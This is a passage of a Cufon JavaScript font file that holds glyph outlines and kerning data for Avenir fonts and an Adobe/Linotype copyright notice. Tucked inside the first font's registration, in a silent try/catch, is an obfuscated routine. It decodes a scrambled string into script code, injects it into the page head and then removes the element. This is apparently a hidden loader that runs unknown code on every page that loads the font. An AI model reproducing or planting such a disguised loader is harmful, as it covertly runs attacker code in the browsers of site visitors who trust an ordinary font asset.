v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26","w":206},{"d":"177,-191v0,53,-65,57,-58,116r-43,0v-12,-64,56,-64,56,-114v0,-19,-14,-31,-33,-31v-20,0,-34,16,-36,35r-46,-4v0,-91,160,-99,160,-2xm68,-25v0,-15,13,-28,29,-28v15,0,29,12,29,27v0,15,-13,28,-29,28v-15,0,-29,-12,-29,-27","w":186},{"d":"37,56v-10,-7,-22,-12,-31,-20v61,-81,62,-199,0,-279r31,-21v68,89,69,231,0,320","w":106},{"d":"81,0r0,-214r-78,0r0,-41r201,0r0,41r-78,0r0,214r-45,0","w":206,"k":{"\u00fc":33,"\u0161":40,"\u00f2":40,"\u00f6":40,"\u00e8":40,"\u00eb":40,"\u00ea":40,"\u00e3":36,"\u00e5":36,"\u00e0":36,"\u00e4":36,"\u00e2":36,"w":40,"y":40,"\u00fd":40,"\u00ff":40,"A":33,"\u00c6":33,"\u00c1":33,"\u00c2":33,"\u00c4":33,"\u00c0":33,"\u00c5":33,"\u00c3":33,",":40,".":40,"c":40,"\u00e7":40,"e":40,"\u00e9":40,"o":40,"\u00f8":40,"\u0153":40,"\u00f3":40,"\u00f4":40,"\u00f5":40,"-":46,"a":36,"\u00e6":36,"\u00e1":36,"r":33,"s":40,"u":33,"\u00fa":33,"\u00fb":33,"\u00f9":33,":":30,";":30}},{"d":"139,-261r-112,278r-30,-11r112,-279","w":140},{"d":"25,0r0,-272r43,0r0,272r-43,0","w":93},{"d":"15,-126v0,-82,56,-135,134,-135v80,0,136,51,136,133v0,80,-56,134,-136,134v-78,0,-134,-52,-134,-132xm62,-129v0,54,35,94,88,94v53,0,88,-40,88,-94v0,-51,-35,-91,-88,-91v-53,0,-88,40,-88,91","w":299},{"d":"96,0r0,-205r-47,44r-26,-30r77,-64r40,0r0,255r-44,0"},{"d":"191,-71r-132,0v3,50,73,51,93,17r31,24v-51,66,-167,30,-167,-56v0,-54,42,-91,94,-91v52,-1,85,40,81,106xm59,-104r89,0v0,-25,-17,-41,-44,-41v-26,0,-42,16,-45,41","w":206},{"d":"0,0r111,-255r39,0r110,255r-52,0r-24,-58r-110,0r-23,58r-51,0xm89,-97r79,0r-39,-104xm195,-272r-41,0r-24,-33r-25,33r-41,0r42,-52r48,0","w":259},{"d":"11,-104r0,-34v25,-25,62,-44,80,-75v-4,-24,-43,-14,-43,6r-34,-3v2,-34,25,-49,58,-49v53,0,73,57,35,85v-17,13,-36,25,-51,40r71,0r0,30r-116,0","w":138},{"d":"0,0r111,-255r39,0r110,255r-52,0r-24,-58r-110,0r-23,58r-51,0xm89,-97r79,0r-39,-104xm65,-298v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26xm139,-298v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26","w":259},{"d":"13,0r0,-41r136,-173r-134,0r0,-41r190,0r0,41r-137,173r139,0r0,41r-194,0","w":219},{"d":"132,0v-1,-7,2,-18,-1,-24v-25,45,-118,35,-118,-24v0,-59,70,-60,119,-60v4,-46,-63,-44,-85,-19r-23,-22v19,-19,47,-28,74,-28v74,0,73,54,73,78r0,99r-39,0xm86,-28v33,-1,46,-18,44,-49v-28,0,-74,-2,-74,26v0,16,16,23,30,23xm32,-229v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26xm106,-229v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26","w":193},{"d":"1,-261r30,-12r112,279r-30,11","w":140},{"d":"93,-264r0,29r-33,0r0,263r33,0r0,28r-69,0r0,-320r69,0","w":100},{"d":"132,0v-1,-7,2,-18,-1,-24v-25,45,-118,35,-118,-24v0,-59,70,-60,119,-60v4,-46,-63,-44,-85,-19r-23,-22v19,-19,47,-28,74,-28v74,0,73,54,73,78r0,99r-39,0xm86,-28v33,-1,46,-18,44,-49v-28,0,-74,-2,-74,26v0,16,16,23,30,23","w":193},{"d":"94,-26r42,-63r-42,-63r27,-18r55,81r-55,81xm14,-26r41,-63r-41,-63r27,-18r55,81r-55,81","w":186},{"d":"0,0r69,-93r-60,-80r53,0r34,52r38,-52r49,0r-59,80r70,93r-53,0r-45,-62r-45,62r-51,0","w":193},{"d":"53,-168r0,-31v17,0,36,2,36,-16v0,-19,-39,-14,-41,4r-37,-7v7,-31,31,-41,59,-41v29,0,56,13,56,41v1,18,-12,29,-28,34v20,3,31,18,31,36v0,59,-112,64,-119,4r37,-8v0,23,46,25,45,0v0,-20,-20,-15,-39,-16","w":138},{"d":"161,-173r41,0v-5,115,31,259,-97,259v-32,0,-62,-6,-86,-28r26,-35v36,45,134,27,113,-46v-47,56,-150,10,-142,-63v-9,-79,101,-124,145,-61r0,-26xm110,-138v-30,0,-51,20,-51,51v0,27,22,50,51,50v32,0,51,-21,51,-50v0,-30,-20,-51,-51,-51","w":226},{"d":"91,0r0,-109r-96,-146r57,0r62,102r64,-102r54,0r-96,146r0,109r-45,0xm96,-272r36,-52r49,0r-51,52r-34,0","w":226,"k":{"v":20,"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":40,".":40,"e":33,"\u00e9":33,"\u00ea":33,"\u00eb":33,"\u00e8":33,"o":33,"\u00f8":33,"\u0153":33,"\u00f3":33,"\u00f4":33,"\u00f6":33,"\u00f2":33,"\u00f5":33,"q":33,"-":40,"a":33,"\u00e6":33,"\u00e1":33,"\u00e2":33,"\u00e4":33,"\u00e0":33,"\u00e5":33,"\u00e3":33,"u":31,"\u00fa":31,"\u00fb":31,"\u00fc":31,"\u00f9":31,":":33,";":33,"i":3,"\u0131":3,"\u00ed":3,"\u00ee":3,"\u00ef":3,"\u00ec":3,"p":31}},{"d":"22,-127r80,0r0,-80r36,0r0,80r79,0r0,36r-79,0r0,79r-36,0r0,-79r-80,0r0,-36","w":239},{"d":"23,0r0,-173r41,0r0,27v11,-37,95,-44,107,1v13,-22,31,-32,57,-32v84,0,59,99,63,177r-44,0r0,-98v0,-22,-6,-40,-32,-40v-58,0,-31,84,-37,138r-43,0v-7,-49,22,-138,-30,-138v-60,0,-33,83,-39,138r-43,0","w":313},{"d":"22,-243r36,0r0,126r-36,0r0,-126xm22,-63r36,0r0,126r-36,0r0,-126","w":79},{"d":"190,0r0,-67r-96,0r-41,67r-55,0r163,-255r178,0r0,41r-103,0r0,63r97,0r0,41r-97,0r0,69r108,0r0,41r-154,0xm118,-106r72,0r0,-108r-5,0","w":360},{"d":"7,56r0,-28r33,0r0,-263r-33,0r0,-29r69,0r0,320r-69,0","w":100},{"d":"72,0r-71,-173r47,0r47,121r46,-121r45,0r-68,173r-46,0","w":186,"k":{",":33,".":33}},{"d":"24,0r0,-173r44,0r0,28v11,-24,37,-37,67,-30r0,42v-7,-2,-14,-3,-21,-3v-41,0,-46,34,-46,43r0,93r-44,0","w":140,"k":{",":33,".":33,"c":6,"\u00e7":6,"d":6,"e":6,"\u00e9":6,"\u00ea":6,"\u00eb":6,"\u00e8":6,"g":6,"m":-6,"n":-6,"\u00f1":-6,"o":6,"\u00f8":6,"\u0153":6,"\u00f3":6,"\u00f4":6,"\u00f6":6,"\u00f2":6,"\u00f5":6,"q":6,"-":20}},{"d":"255,-149r0,130v-31,17,-67,25,-106,25v-78,0,-134,-52,-134,-132v0,-125,149,-173,235,-103r-34,34v-52,-53,-154,-15,-154,66v0,79,82,116,148,81r0,-60r-53,0r0,-41r98,0","w":280},{"d":"202,-173r0,255r-43,0r-1,-104v-9,11,-27,26,-59,26v-49,0,-83,-39,-83,-90v0,-79,101,-124,145,-61r0,-26r41,0xm59,-86v0,27,19,51,51,51v32,0,51,-24,51,-51v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52","w":226}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+54-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("#BXZ>M_kQa3u#P4SdMeOUBU3:*_ZXM3u:*!OQa)FXs{Rx$k^:qVi%Bxi:qVi%BX,:qVi%BUKmeDZ%&1|x4DZ%&1,xsDZ%&1^_ZDZ%&1?X4DZ%&1M%ZDZ%&1,A&Xh:qVi%nxiheDZ%&1?%4DZ%&1^XsDZ%&1M_ZDZ%&1|%eDZ%&1|Aa~#:qVi%Byk:qVi%B%K:qVi%B+O_ZDZ%&1^As+9:qVi%nyO:qVi%B+5:qVi%BU*:qVi%BxkQeDZ%&+5XsDZ%&1|%sDZ%&1,%ZDZ%&1?%eDZ%&1|%Z30dnGiXBsa_eDZ%&1MAeDZ%&1^%eDZ%&14%e~AmsDZ%&14%sDZ%&1Mx$Z0dnGiXB_0dnGiX|Vg:qVi%B+k%eDZ%&1^x:D0dnGiXM)i:qVi%nxD:qVi%B_?JsDZ%&1,XeDZ%&1MXF9M:qVi%n?O:qVi%BV*#4DZ%&+$%sDZ%&1MAsDZ%&+5AeDZ%&1|XsDZ%&14_sDZ%&14XsDZ%&1?%ZDZ%&1?x4DZ%&1|xZDZ%&14%ZDZ%&14AsDZ%&+Z%ZDZ%&1^%sDZ%&1M_4DZ%&1M%4DZ%&1?_sDZ%&1?AsDZ%&14_ZDZ%&14xZDZ%&1Mx|UF:qVi%B_M:qVi%BX4:qVi%B),%ksWxM3mVZ1s!?D0dnGiX&,_:qVi%B+~aeDZ%&1?_5~B:qVi%B!?:qVi%By*:qVi%nd?yeDZ%&1,Xa)1UZd0U4DZ%&1M%mV{:qVi%Be^AZDZ%&1^_eDZ%&1|_ZDZ%&1,%P10dnGiX&e6AeDZ%&1^_ns+UsDZ%&1|xsDZ%&+k%sDZ%&14xn~0dnGiXay~0kU;:qVi%BsM:qVi%B%ZxZDZ%&1,X4DZ%&14Aq)&:qVi%nVOda9XQ4DZ%&1^XFW0dnGixnV?8sDZ%&1,%sDZ%&1^xZDZ%&1,xZDZ%&14%^~5:qVi%Bs^HO4V:P3Rn$e4:qVi%B%O:qVi%BUO:qG1P&+eBqU!#h%_AHy)mnVsa:xXQ>0dJ86,^|?4MFgWL]R9uliDO$kZ*5K~;S{3w-Vi%B%ka4DZ%&14_eD0a*e0dnGixM!K:qVi%BU$XZDZ%&1?XP99:qVi%B+*:qVi%B%*::XO)5+^hF_i>B4k#PU^#mDWHnGR0&Z^hFGR>&ZihMD4>MdkQPDFHaUuX^~F>q4iQq%3J5kSQaxgx^~lQ$kl:^6-AFd5dZiu#n{gH$W,XqXW>eiux*398Be?dM4R:P~|Q:)0hM_l>siuxF!{xa)*Qai905)F:P~iXM4;X:!0hM_l>:D,XqXW>eiu>B3|xaDg>5_k8&UD_4iu%|VZ:PK*_siu%|G~8Be?dM4R>Ms5h:_kXZiu0BXWJMsO:P~|>*kW!P3WhF)405yg>B3|x:)W>*KuQB3$dB~,>aVW#aXl0^6SQnDRAOR]Qm4Fa*_>QsZdH:1>QsZ3#m6W")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":213,"face":{"font-family":"Avenir Heavy","font-weight":700,"font-stretch":"normal","units-per-em":"360","panose-1":"2 11 7 3 2 2 3 2 2 4","ascent":"272","descent":"-88","x-height":"4","bbox":"-21 -338 353 90","underline-thickness":"18","underline-position":"-18","stemh":"37","stemv":"43","unicode-range":"U+0020-U+0192"}}));
;
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright 1989, 1995, 2002 Adobe Systems Incorporated. All rights reserved.
 * Copyright 1989, 1995, 2002 Linotype GmbH. All rights reserved.
 * 
 * Trademark:
 * Avenir is a trademark of Linotype GmbH registered in the U.S. Patent and
 * Trademark Office and may be registered in certain other jurisdictions.
 * 
 * Full name:
 * AvenirLTStd-Light
 * 
 * Manufacturer:
 * Adobe Systems Incorporated
 * 
 * Designer:
 * Adrian Frutiger
 * 
 * Vendor URL:
 * http://www.adobe.com/type
 * 
 * License information:
 * http://www.adobe.com/type/legal.html
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"225,-55r20,15v-27,35,-60,47,-105,46v-3,6,-11,12,-11,18v17,-9,42,2,41,23v-2,36,-48,36,-75,23r5,-11v16,8,47,11,50,-10v-1,-17,-23,-17,-36,-12v-11,-9,10,-21,14,-32v-66,-9,-110,-62,-110,-132v0,-117,148,-181,220,-94r-19,16v-56,-77,-188,-16,-177,78v-9,98,126,154,183,72","w":253},{"d":"216,-255v-7,115,35,261,-93,261v-128,0,-86,-146,-93,-261r24,0r0,151v0,36,10,89,69,89v59,0,69,-53,69,-89r0,-151r24,0xm72,-302v0,-10,7,-18,17,-18v10,0,17,8,17,18v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17xm140,-302v0,-10,7,-18,17,-18v10,0,18,8,18,18v0,10,-8,17,-18,17v-10,0,-17,-7,-17,-17","w":246},{"d":"91,0r0,-233r-87,0r0,-22r198,0r0,22r-87,0r0,233r-24,0","w":206,"k":{"\u00fc":33,"\u0161":40,"\u00f2":40,"\u00f6":40,"\u00e8":40,"\u00eb":40,"\u00ea":40,"\u00e3":40,"\u00e5":40,"\u00e0":40,"\u00e4":40,"\u00e2":40,"w":40,"y":40,"\u00fd":40,"\u00ff":40,"A":24,"\u00c6":24,"\u00c1":24,"\u00c2":24,"\u00c4":24,"\u00c0":24,"\u00c5":24,"\u00c3":24,",":40,".":40,"c":40,"\u00e7":40,"e":40,"\u00e9":40,"o":40,"\u00f8":40,"\u0153":40,"\u00f3":40,"\u00f4":40,"\u00f5":40,"-":46,"a":40,"\u00e6":40,"\u00e1":40,"i":-9,"\u0131":-9,"\u00ed":-9,"\u00ee":-9,"\u00ef":-9,"\u00ec":-9,"r":33,"s":40,"u":33,"\u00fa":33,"\u00fb":33,"\u00f9":33,":":40,";":40}},{"d":"30,-151v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17xm30,-15v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17","w":93},{"d":"142,-151r0,17r-42,0r-26,141v-2,39,-47,57,-80,36r11,-17v26,15,44,1,50,-34r23,-126r-38,0r0,-17r42,0v11,-46,6,-105,62,-108v12,0,23,4,32,11r-11,16v-21,-17,-46,-2,-51,25r-11,56r39,0"},{"d":"160,-45r16,14v-43,66,-157,33,-157,-53v0,-50,35,-87,84,-87v56,0,82,41,78,93r-140,0v0,18,13,63,63,63v22,0,45,-12,56,-30xm41,-97r118,0v0,-30,-25,-54,-57,-54v-47,0,-61,45,-61,54","w":200},{"d":"194,-48r0,-78r-166,0r0,-18r184,0r0,96r-18,0","w":239},{"d":"2,0r111,-255r25,0r107,255r-27,0r-28,-68r-135,0r-28,68r-25,0xm182,-89r-58,-140r-59,140r117,0xm107,-323r37,52r-18,0r-48,-52r29,0","w":246},{"d":"2,0r111,-255r25,0r107,255r-27,0r-28,-68r-135,0r-28,68r-25,0xm182,-89r-58,-140r-59,140r117,0xm103,-271r37,-52r29,0r-48,52r-18,0","w":246},{"d":"214,-155r-20,0v-4,-19,-20,-38,-46,-38v-37,0,-58,31,-58,66v0,35,21,65,58,65v26,0,42,-18,46,-38r20,0v-5,35,-33,55,-67,55v-49,0,-77,-34,-77,-82v0,-48,28,-83,77,-83v34,0,62,20,67,55xm10,-127v0,-74,60,-134,134,-134v74,0,134,60,134,134v0,74,-60,133,-134,133v-74,0,-134,-59,-134,-133xm30,-127v0,63,51,114,114,114v63,0,114,-51,114,-114v0,-63,-51,-115,-114,-115v-63,0,-114,52,-114,115","w":288},{"d":"19,-83v0,-51,37,-88,88,-88v51,0,87,37,87,88v0,51,-36,87,-87,87v-51,0,-88,-36,-88,-87xm41,-83v0,37,25,68,66,68v41,0,66,-31,66,-68v0,-37,-25,-68,-66,-68v-41,0,-66,31,-66,68xm90,-255r38,52r-18,0r-48,-52r28,0","w":213},{"d":"64,-104r0,-134r-31,24r-9,-12v20,-10,26,-34,59,-31r0,153r-19,0","w":121},{"d":"32,0r0,-166r22,0r0,166r-22,0xm27,-255r37,52r-18,0r-48,-52r29,0","w":86},{"d":"2,0r111,-255r25,0r107,255r-27,0r-28,-68r-135,0r-28,68r-25,0xm182,-89r-58,-140r-59,140r117,0xm90,-301v0,-18,15,-35,34,-35v19,0,33,17,33,35v0,18,-15,34,-33,34v-19,0,-34,-16,-34,-34xm144,-301v0,-12,-9,-22,-21,-22v-12,0,-20,10,-20,22v0,12,8,21,20,21v12,0,21,-9,21,-21","w":246},{"d":"5,-51r21,-20v-29,-29,-29,-84,0,-113r-21,-20r12,-13r21,20v32,-25,79,-25,111,0r21,-20r12,13r-20,20v28,29,28,84,0,113r20,20r-12,13r-21,-20v-32,25,-79,25,-111,0r-21,20xm26,-127v0,38,31,69,68,69v37,0,68,-31,68,-69v0,-39,-31,-70,-68,-70v-37,0,-68,31,-68,70"},{"d":"32,0r0,-255r79,0v132,0,137,109,137,128v0,19,-5,127,-137,127r-79,0xm55,-233r0,211v94,6,170,-13,170,-105v0,-91,-75,-112,-170,-106","w":266},{"d":"73,-67v-14,-73,57,-77,57,-131v0,-26,-17,-44,-43,-44v-25,0,-42,17,-47,42r-23,-3v5,-76,139,-79,136,4v-2,68,-71,58,-58,132r-22,0xm67,-15v0,-10,8,-17,18,-17v10,0,17,7,17,17v0,10,-7,17,-17,17v-10,0,-18,-7,-18,-17","w":166},{"d":"27,-255r37,52r-18,0r-48,-52r29,0","w":86},{"d":"35,0r0,-255r156,0r0,22r-132,0r0,90r124,0r0,22r-124,0r0,99r138,0r0,22r-162,0xm90,-323r38,52r-18,0r-48,-52r28,0","w":213},{"d":"130,-255r-69,112v52,-30,116,10,116,68v0,46,-35,79,-83,79v-48,0,-84,-33,-84,-79v0,-27,13,-48,23,-65r70,-115r27,0xm94,-135v-33,0,-60,27,-60,60v0,35,25,60,60,60v35,0,59,-25,59,-60v0,-33,-26,-60,-59,-60"},{"d":"18,-127v0,-78,54,-134,132,-134v78,0,132,56,132,134v0,78,-54,133,-132,133v-78,0,-132,-55,-132,-133xm42,-127v0,63,41,112,108,112v67,0,108,-49,108,-112v0,-63,-41,-113,-108,-113v-67,0,-108,50,-108,113xm176,-277v-24,0,-61,-36,-69,0r-13,0v3,-16,13,-37,32,-37v25,0,58,37,67,0r13,0v-2,18,-10,37,-30,37","w":300},{"d":"82,0r0,-65r-61,0r0,-17r61,0v-1,-12,3,-28,-4,-34r-57,0r0,-17r48,0r-69,-122r24,0r70,124r70,-124r23,0r-69,122r49,0r0,17r-58,0v-7,6,-3,22,-4,34r62,0r0,17r-62,0r0,65r-23,0"},{"d":"15,-76r0,-19r89,0r0,19r-89,0","w":119},{"d":"35,0r0,-255r156,0r0,22r-132,0r0,90r124,0r0,22r-124,0r0,99r138,0r0,22r-162,0xm55,-302v0,-10,8,-18,18,-18v10,0,17,8,17,18v0,10,-7,17,-17,17v-10,0,-18,-7,-18,-17xm124,-302v0,-10,7,-18,17,-18v10,0,17,8,17,18v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17","w":213},{"d":"170,-166r1,166r-21,0v-1,-12,1,-27,-3,-29v-10,31,-72,45,-99,20r0,91r-21,0r0,-248r22,0v7,59,-25,151,41,151v32,0,58,-22,58,-68r0,-83r22,0","w":200},{"d":"29,0r-2,-166r22,0v1,12,-2,27,2,29v9,-18,30,-34,57,-34v90,3,57,94,63,171r-21,0v-7,-60,24,-151,-42,-151v-32,0,-58,22,-58,68r0,83r-21,0xm126,-209v-23,0,-61,-35,-69,0r-13,0v3,-16,12,-37,32,-37v24,1,58,36,67,0r13,0v-2,18,-11,37,-30,37","w":200},{"d":"161,-166r-85,217v-9,28,-34,42,-67,32r2,-20v43,18,49,-33,62,-62r-68,-167r25,0r55,140r53,-140r23,0xm32,-235v0,-10,7,-17,17,-17v10,0,18,7,18,17v0,10,-8,18,-18,18v-10,0,-17,-8,-17,-18xm100,-235v0,-10,8,-17,18,-17v10,0,17,7,17,17v0,10,-7,18,-17,18v-10,0,-18,-8,-18,-18","w":166,"k":{",":33,".":33}},{"d":"161,-166r-85,217v-9,28,-34,42,-67,32r2,-20v43,18,49,-33,62,-62r-68,-167r25,0r55,140r53,-140r23,0xm63,-203r37,-52r29,0r-48,52r-18,0","w":166,"k":{",":33,".":33}},{"d":"35,0r0,-255r156,0r0,22r-132,0r0,90r124,0r0,22r-124,0r0,99r138,0r0,22r-162,0xm86,-271r37,-52r29,0r-48,52r-18,0","w":213},{"d":"24,82r0,-354r22,0r0,135v42,-66,155,-29,155,54v0,82,-112,118,-155,54r0,111r-22,0xm44,-83v0,37,30,68,69,68v41,0,66,-31,66,-68v0,-37,-25,-68,-66,-68v-39,0,-69,31,-69,68","w":219},{"d":"72,-156v-29,0,-52,-23,-52,-52v0,-29,23,-51,52,-51v29,0,52,22,52,51v0,29,-23,52,-52,52xm72,-173v19,0,35,-15,35,-34v0,-19,-16,-35,-35,-35v-19,0,-35,16,-35,35v0,19,16,34,35,34","w":144},{"d":"12,-182v0,-36,41,-36,78,-35v5,-33,-48,-32,-64,-14r-9,-14v25,-20,90,-25,90,25v0,23,-1,44,2,65r-18,0v-2,-4,1,-12,-2,-16v-14,27,-77,25,-77,-11xm90,-199v1,-6,-10,-2,-14,-3v-21,0,-46,3,-46,19v9,31,67,7,60,-16","w":121},{"d":"2,0r69,-90r-59,-76r28,0r46,63r45,-63r27,0r-58,76r71,90r-28,0r-58,-75r-57,75r-26,0","w":173},{"d":"216,-255v-7,115,35,261,-93,261v-128,0,-86,-146,-93,-261r24,0r0,151v0,36,10,89,69,89v59,0,69,-53,69,-89r0,-151r24,0xm72,-271r39,-52r25,0r39,52r-24,0r-29,-39r-29,39r-21,0","w":246},{"d":"35,0r0,-255r24,0r0,255r-24,0xm30,-323r38,52r-18,0r-49,-52r29,0","w":93},{"d":"58,-173r0,-82r22,0r0,82r-22,0xm108,-173r0,-82r21,0r0,82r-21,0"},{"d":"24,-5r28,-30v-21,-23,-34,-55,-34,-92v0,-114,133,-172,217,-106r26,-29r13,11r-27,29v22,23,35,57,35,95v0,114,-136,171,-218,104r-27,29xm68,-52r151,-164v-18,-15,-41,-24,-69,-24v-98,0,-139,122,-82,188xm231,-205r-152,165v18,16,42,25,71,25v100,0,138,-124,81,-190","w":300},{"d":"52,-113v0,33,40,35,61,50v12,-6,27,-20,27,-35v0,-30,-33,-37,-53,-50v-15,5,-35,16,-35,35xm23,9r22,-11v10,42,90,44,90,-3v0,-49,-107,-41,-107,-108v0,-24,18,-37,38,-46v-17,-10,-29,-24,-29,-46v0,-63,102,-77,124,-23r-21,13v-12,-37,-79,-31,-80,10v0,46,104,41,104,105v0,22,-14,37,-32,47v52,27,20,105,-40,105v-30,0,-57,-13,-69,-43"},{"d":"58,0r-53,-166r24,0r41,139r47,-139r20,0r50,139r39,-139r22,0r-49,166r-22,0r-51,-136r-46,136r-22,0","w":253,"k":{",":20,".":20}},{"d":"32,0r0,-166r22,0r0,166r-22,0xm22,-203r38,-52r29,0r-49,52r-18,0","w":86},{"d":"35,0r0,-255r31,0r155,223r0,-223r24,0r0,255r-30,0r-156,-223r0,223r-24,0xm166,-277v-24,0,-61,-36,-69,0r-13,0v3,-16,13,-37,32,-37v25,0,58,37,67,0r13,0v-2,18,-10,37,-30,37","w":280},{"d":"46,-176r0,-17v39,11,62,-47,14,-49v-14,0,-25,7,-31,18r-14,-9v16,-37,93,-33,93,13v1,18,-15,29,-30,36v21,3,34,20,34,39v2,51,-89,59,-102,11r17,-6v6,31,66,24,66,-7v0,-25,-23,-30,-47,-29","w":121},{"d":"94,-259v72,0,95,102,29,122v30,10,49,34,49,66v0,46,-33,75,-78,75v-83,0,-110,-122,-30,-140v-64,-21,-45,-123,30,-123xm48,-193v0,26,19,47,46,47v27,0,46,-21,46,-47v0,-28,-20,-47,-46,-47v-26,0,-46,19,-46,47xm39,-71v0,31,22,56,55,56v33,0,55,-25,55,-56v0,-33,-24,-56,-55,-56v-31,0,-55,23,-55,56"},{"d":"31,-243r18,0r0,126r-18,0r0,-126xm31,-63r18,0r0,126r-18,0r0,-126","w":79},{"w":93},{"d":"18,-127v0,-78,54,-134,132,-134v78,0,132,56,132,134v0,78,-54,133,-132,133v-78,0,-132,-55,-132,-133xm42,-127v0,63,41,112,108,112v67,0,108,-49,108,-112v0,-63,-41,-113,-108,-113v-67,0,-108,50,-108,113xm129,-271r38,-52r28,0r-48,52r-18,0","w":300},{"d":"30,-92r82,-163r16,0r82,163r-20,0r-70,-143r-70,143r-20,0","w":239},{"d":"96,-145r0,-20v33,2,54,-16,54,-46v0,-30,-20,-46,-47,-46v-39,0,-53,31,-53,68r0,189r-21,0r0,-192v0,-49,27,-84,76,-84v68,0,91,102,31,119v25,8,57,19,57,77v0,57,-48,90,-106,80r0,-21v43,15,86,-14,84,-58v-1,-47,-33,-68,-75,-66","w":213},{"d":"14,-1r25,-25v-46,-53,-7,-145,68,-145v22,0,41,7,56,19r25,-25r12,11r-26,25v45,53,9,145,-67,145v-23,0,-43,-7,-57,-19r-24,25xm54,-41r95,-96v-41,-34,-108,-1,-108,54v0,16,4,31,13,42xm159,-126r-94,96v39,35,108,2,108,-53v0,-17,-5,-32,-14,-43","w":213},{"d":"35,0r0,-255r156,0r0,22r-132,0r0,90r124,0r0,22r-124,0r0,99r138,0r0,22r-162,0xm55,-271r39,-52r26,0r38,52r-23,0r-29,-39r-29,39r-22,0","w":213},{"d":"216,-255v-7,115,35,261,-93,261v-128,0,-86,-146,-93,-261r24,0r0,151v0,36,10,89,69,89v59,0,69,-53,69,-89r0,-151r24,0","w":246},{"d":"32,0r0,-166r22,0r0,166r-22,0xm27,-232v0,-9,7,-16,16,-16v9,0,16,7,16,16v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16","w":86},{"d":"118,0r0,-63r-110,0r0,-25r102,-167r30,0r0,173r39,0r0,19r-39,0r0,63r-22,0xm118,-82r0,-149r-90,149r90,0"},{"d":"115,-118r0,67r-20,0r0,-154v49,0,108,-8,108,43v0,28,-17,40,-38,44r46,67r-22,0r-46,-67r-28,0xm115,-188r0,52v31,-2,69,9,69,-26v0,-32,-38,-25,-69,-26xm10,-127v0,-74,60,-134,134,-134v74,0,134,60,134,134v0,74,-60,133,-134,133v-74,0,-134,-59,-134,-133xm30,-127v0,63,51,114,114,114v63,0,114,-51,114,-114v0,-63,-51,-115,-114,-115v-63,0,-114,52,-114,115","w":288},{"d":"55,-233r0,90r93,0r0,20r-93,0r0,101v94,6,170,-13,170,-105v0,-91,-75,-112,-170,-106xm32,0r0,-123r-28,0r0,-20r28,0r0,-112r79,0v132,0,137,109,137,128v0,19,-5,127,-137,127r-79,0","w":266},{"d":"19,-83v0,-51,37,-88,88,-88v51,0,87,37,87,88v0,51,-36,87,-87,87v-51,0,-88,-36,-88,-87xm41,-83v0,37,25,68,66,68v41,0,66,-31,66,-68v0,-37,-25,-68,-66,-68v-41,0,-66,31,-66,68xm86,-203r37,-52r29,0r-48,52r-18,0","w":213},{"w":93},{"d":"92,-171v87,0,61,101,69,171r-20,0v-2,-7,0,-20,-3,-27v-20,45,-117,44,-117,-18v0,-60,68,-56,118,-56v8,-60,-66,-61,-98,-31r-13,-15v16,-15,42,-24,64,-24xm139,-84v-44,-2,-96,3,-96,38v0,21,20,31,38,31v51,-2,60,-31,58,-69xm42,-235v0,-10,7,-17,17,-17v10,0,18,7,18,17v0,10,-8,18,-18,18v-10,0,-17,-8,-17,-18xm111,-235v0,-10,7,-17,17,-17v10,0,17,7,17,17v0,10,-7,18,-17,18v-10,0,-17,-8,-17,-18","w":186},{"d":"225,0r0,-37r-69,0r0,-16r67,-100r21,0r0,99r23,0r0,17r-23,0r0,37r-19,0xm225,-54v-1,-24,2,-51,-1,-73r-48,73r49,0xm53,-104r0,-134r-31,24r-9,-12v20,-10,26,-34,59,-31r0,153r-19,0xm41,2r165,-269r16,10r-164,269","w":280},{"d":"28,-100r0,-18r184,0r0,18r-184,0xm102,-165v0,-10,8,-18,18,-18v10,0,18,8,18,18v0,10,-8,19,-18,19v-10,0,-18,-9,-18,-19xm102,-54v0,-10,8,-18,18,-18v10,0,18,8,18,18v0,10,-8,19,-18,19v-10,0,-18,-9,-18,-19","w":239},{"d":"159,-255r0,20r-101,235r-24,0r103,-235r-122,0r0,-20r144,0"},{"d":"15,-76r0,-19r89,0r0,19r-89,0","w":119},{"d":"19,-83v0,-51,37,-88,88,-88v51,0,87,37,87,88v0,51,-36,87,-87,87v-51,0,-88,-36,-88,-87xm41,-83v0,37,25,68,66,68v41,0,66,-31,66,-68v0,-37,-25,-68,-66,-68v-41,0,-66,31,-66,68xm133,-209v-23,0,-61,-35,-69,0r-13,0v2,-17,12,-37,32,-37v24,1,58,36,67,0r13,0v-2,18,-11,37,-30,37","w":213},{"d":"91,-235r0,17r-95,0r0,-17r95,0","w":86},{"d":"62,0v-5,8,-12,15,-17,24v17,-8,42,2,41,23v-2,35,-48,37,-74,23r5,-11v16,8,46,11,50,-10v-1,-17,-23,-17,-36,-12r-6,-5r23,-32r14,0","w":86},{"d":"77,-255r0,188r-21,